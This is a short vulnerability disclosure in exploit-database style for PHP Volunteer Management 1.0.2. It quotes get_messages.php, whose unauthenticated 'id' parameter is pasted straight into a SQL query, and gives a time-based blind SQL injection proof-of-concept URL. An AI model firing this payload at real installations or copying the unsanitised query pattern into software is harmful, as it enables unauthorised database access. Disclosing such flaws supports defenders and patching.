# Title: PHP Volunteer Management (get_messages.php) SQL Injection Vulnerabilities
# 
# Author: eidelweiss
# Twitter: @AriosRandy
# Website: www.eidelweiss.info
# Software Site: https://sourceforge.net/projects/phpvolunteer/
# Version: 1.0.2
# Category: webapp (php)
# Greetz: Devilzc0de, exploit-db, G13 (first vuln Disclose https://www.exploit-db.com/exploits/18788/) and YOU !!!
 
##### ToC #####
 
0x01 Description
0x02 vuln c0de
 
##### 0x01 Description #####
 
This is a PHP Volunteer Management software. Keep track of Volunteer
hours worked and location assignments. This system is built on
PHP/MySql.
 
##### 0x02 vuln c0de #####
 
---------------Vulnerability-------------------

get_messages.php

==
<?php
  define('INCLUDE_CHECK',true);
include '../../../config/connect.php';
$id = $_GET['id'];
$query = "SELECT * FROM messages, volunteers WHERE message_to_id = '$id' AND message_from_id = volunteer_id ORDER BY message_state, message_id";
$mysql_result = mysql_query($query);
$result = array();
while ($row = mysql_fetch_assoc($mysql_result)) {
   $result[] = $row;
}
$data = json_encode($result);

print_r($data);
?>
==
 
The 'id' parameter is vulnerable to SQL Injection.  No authentication is needed.
 
----------Exploit-----------------------------------
 
https://localhost/mods/messages/data/get_messages.php?id=[SQLi]&take=10&skip=0&page=1&pageSize=10
 
------------PoC---------------------------
 
https://localhost/mods/messages/data/get_messages.php?id=1%27%20AND%20SLEEP%285%29%20AND%20%27BDzu%27=%27BDzu&take=10&skip=0&page=1&pageSize=10
 
##### E0F #####